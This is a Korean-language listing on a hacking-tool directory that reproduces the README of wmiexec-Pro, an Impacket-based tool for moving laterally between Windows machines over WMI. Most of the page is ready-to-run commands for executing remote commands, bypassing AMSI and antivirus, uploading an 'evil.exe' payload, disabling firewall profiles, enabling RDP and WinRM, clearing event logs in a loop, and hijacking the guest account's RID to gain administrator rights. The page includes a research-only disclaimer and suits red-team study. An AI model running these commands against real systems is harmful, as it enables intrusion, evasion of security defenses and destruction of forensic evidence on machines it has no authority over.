Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
wmiexec-Pro — 새로운 세대의 wmiexec.py | Kitploit
도구/GitHubGitHub/xiaolichan/wmiexec-pro
Privilege EscalationPersistence MechanismsLateral MovementInformation GatheringPost-ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubxiaolichan/wmiexec-pro

wmiexec-Pro

새로운 세대의 wmiexec.py

저장소 보기
1.3k151914일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

wmiexec-Pro

차세대 wmiexec.py.

목차

  1. 정보
  2. 특별 감사
  3. 기능
  4. 시작하기
    • 설치
  5. 사용법
  6. 스크린샷
  7. 작동 방식
  8. 면책 조항
  9. 참고 자료

정보

차세대 wmiexec.py로, 더 많은 새로운 기능이 추가되었습니다. 모든 작업은 포트 135만으로 동작하며 (SMB 연결 불필요), 횡적 이동 시 AV 우회(Windows Defender, HuoRong, 360)를 위한 것입니다.

(맨 위로)

특별 감사

@422926799

(맨 위로)

기능

  • 주요 기능: AV 우회
  • 주요 기능: win32_process 불필요
  • 주요 기능: 포트 135만 필요.
  • 새 모듈: AMSI 우회
  • 새 모듈: 파일 전송
  • 새 모듈: WMI 클래스 메서드를 통한 원격 RDP 활성화
  • 새 모듈: Windows 방화벽 악용
  • 새 모듈: 이벤트 로그 반복 삭제
  • 새 모듈: CMD를 건드리지 않고 WinRM 원격 활성화
  • 새 모듈: 서비스 관리자
  • 새 모듈: RID 하이재킹
  • 개선: 새로운 방식으로 명령 실행 출력 수집
  • 개선: VBS 파일 실행

(맨 위로)

시작하기

설치

Impacket 최신 버전만 필요합니다

  1. Impacket 저장소를 클론합니다
    root@kitploit:~
    git clone https://github.com/fortra/impacket
    
  2. Impacket을 설치합니다
    root@kitploit:~
    cd impacket && sudo pip3 install .
    
  3. 즐기세요 :)
    root@kitploit:~
    git clone https://github.com/XiaoliChan/wmiexec-Pro
    

(맨 위로)

사용법

root@kitploit:~
python3 wmiexec-pro.py [[domain/]username[:password]@]<targetName or address> module -h

Basic enumeration:
   python3 wmiexec-pro.py administrator:[email protected] enum -run

Enable/disable amsi bypass:
   python3 wmiexec-pro.py administrator:[email protected] amsi -enable
   python3 wmiexec-pro.py administrator:[email protected] amsi -disable

Execute command:
   python3 wmiexec-pro.py administrator:[email protected] exec-command -shell (Launch a semi-interactive shell)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" (Default is with output mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent (Silent mode)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -silent -old (Slient mode in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old (With output in old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -save (With output and save output to file)
   python3 wmiexec-pro.py administrator:[email protected] exec-command -command "whoami" -old -save
   python3 wmiexec-pro.py administrator:[email protected] exec-command -clear (Remove temporary class for command result storage)
   
Filetransfer:
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -upload -src-file "./evil.exe" -dest-file "C:\windows\temp\evil.exe" (Upload file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -download -src-file "C:\windows\temp\evil.exe" -dest-file "/tmp/evil.exe" (Download file over 512KB)
   python3 wmiexec-pro.py administrator:[email protected] filetransfer -clear (Remove temporary class for file transfer)
   
RDP:
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable (Auto configure firewall)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable -old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -enable-ram (Enable Restricted Admin Mode for PTH, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable -old (For old version OS, such as server 2003, not support old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rdp -disable-ram (Disable Restricted Admin Mode)

WinRM (Only support win7+):
   python3 wmiexec-pro.py administrator:[email protected] winrm -enable
   python3 wmiexec-pro.py administrator:[email protected] winrm -disable

Firewall (Only support win8+):
   python3 wmiexec-pro.py administrator:[email protected] firewall -search-port 445
   python3 wmiexec-pro.py administrator:[email protected] firewall -dump (Dump all firewall rules)
   python3 wmiexec-pro.py administrator:[email protected] firewall -rule-id (ID from search port) -action [enable/disable/remove] (enable, disable, remove specify rule)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile enable (Enable all firewall profiles)
   python3 wmiexec-pro.py administrator:[email protected] firewall -firewall-profile disable (Disable all firewall profiles)
   
Services:
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe'
   python3 wmiexec-pro.py administrator:[email protected] service -action create -service-name "test" -display-name "For test" -bin-path 'C:\windows\system32\calc.exe' -class "Win32_TerminalService" (Create service via alternative class)
   python3 wmiexec-pro.py administrator:[email protected] service -action start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action stop -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action disable -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action auto-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action manual-start -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action getinfo -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -action delete -service-name "test"
   python3 wmiexec-pro.py administrator:[email protected] service -dump all-services.json

Eventlog:
   python3 wmiexec-pro.py administrator:[email protected] eventlog -risk-i-know (Looping cleaning eventlog)
   python3 wmiexec-pro.py administrator:[email protected] eventlog -retrive object-ID (Stop looping cleaning eventlog)

RID Hijack:
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant (Grant access permissions for SAM/SAM subkey in registry)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action grant-old (For old version OS, such as server 2003)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action activate (Activate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action deactivate (Deactivate user)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 501 -action hijack -user 501 -hijack-rid 500 (Hijack guest user rid 501 to administrator rid 500)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login enable (Enable blank password login)
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -blank-pass-login disable
   python3 wmiexec-pro.py administrator:[email protected] rid-hijack -user 500 -action backup (This will save user profile data as json file)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -user 500 -remove (Use guest user remove administrator user profile after rid hijacked)
   python3 wmiexec-pro.py [email protected] -no-pass rid-hijack -restore "backup.json" (Restore user profile for target user)
   

(맨 위로)

스크린샷

  • 도움말

  • exec-command

  • filetransfer

    • 파일 업로드

    • 파일 다운로드

(맨 위로)

작동 방식

  • AMSI 모듈:

    • Black Hat Asia 2018의 Tal-Liberman 기법.
  • exec-command 모듈:

    • 이전 프로젝트의 개선: wmiexec-RegOut, 레지스트리 대신 WMI 클래스에서 출력을 가져옵니다.
  • filetransfer 모듈:

    • 업로드: 소스 파일을 base64 문자열로 인코딩하여 WriteFile.vbs라는 드로퍼에 넣은 다음, ActiveScriptEventConsumer 객체의 새 인스턴스를 생성해 드로퍼를 실행합니다.
    • 다운로드: 데이터 저장용 클래스를 원격으로 생성한 다음, 인코더 LocalFileIntoClass.vbs를 실행하여 파일을 인코딩하고 방금 생성한 클래스에 데이터를 저장합니다.
  • rdp 모듈:

    • 활성화/비활성화: RDP 서비스: TerminalServices 객체를 직접 제어합니다.
    • 활성화/비활성화: 제한된 관리 모드: StdRegProv 클래스를 통해 레지스트리 키 DisableRestrictedAdmin을 제어합니다.
  • winrm 모듈:

    • 활성화/비활성화: service 모듈을 호출합니다.
    • 방화벽 규칙: firewall.py 모듈을 사용하여 WinRM의 방화벽을 구성합니다.
  • firewall 모듈:

    • MSFT_NetProtocolPortFilter, MSFT_NetFirewallRule, MSFT_NetFirewallProfile 클래스를 악용합니다.

(맨 위로)

면책 조항

이 오픈 소스 이니셔티브의 정신은 보안 연구자와 커뮤니티가 네트워킹 프로토콜 및 스택 구현과 관련된 연구 및 교육 활동의 속도를 높일 수 있도록 돕는 것입니다.

이 저장소의 정보는 연구 및 교육 목적으로 제공되며, 프로덕션 환경 및/또는 상용 제품의 일부로 사용하기 위한 것이 아닙니다.

이 코드 또는 그 일부를 직접 사용하려는 경우, 적절한 보안 개발 수명 주기와 안전한 코딩 관행을 적용하고 필요에 따라 각각의 침해 지표(IOC)를 생성 및 추적할 것을 권장합니다.

(맨 위로)

참고 자료

  • GhostPack/SharpWMI
  • impacket
  • WMIHACKER
  • Microsoft WMI 문서
  • Microsoft VBScript 문서

(맨 위로)

도구 다운로드
  • service 모듈:

    • Win32_Service 클래스를 악용합니다.
  • eventlog 모듈:

    • event와 consumer를 제거하지 않고 VBS 스크립트 파일 ClearEventlog.vbs를 실행합니다.
  • execute-vbs 모듈:

    • wmipersist.py에서 가져왔습니다.
  • classMethodEx 메서드:

    • 클래스 생성: 간단한 클래스를 생성하기 위해 VBS 스크립트 CreateClass.vbs를 실행합니다. (이유: impacket에서 PutClass 메서드를 사용하는 방법을 모르기 때문입니다.)
    • 클래스 제거: DeleteClass 메서드를 호출하여 클래스를 제거합니다.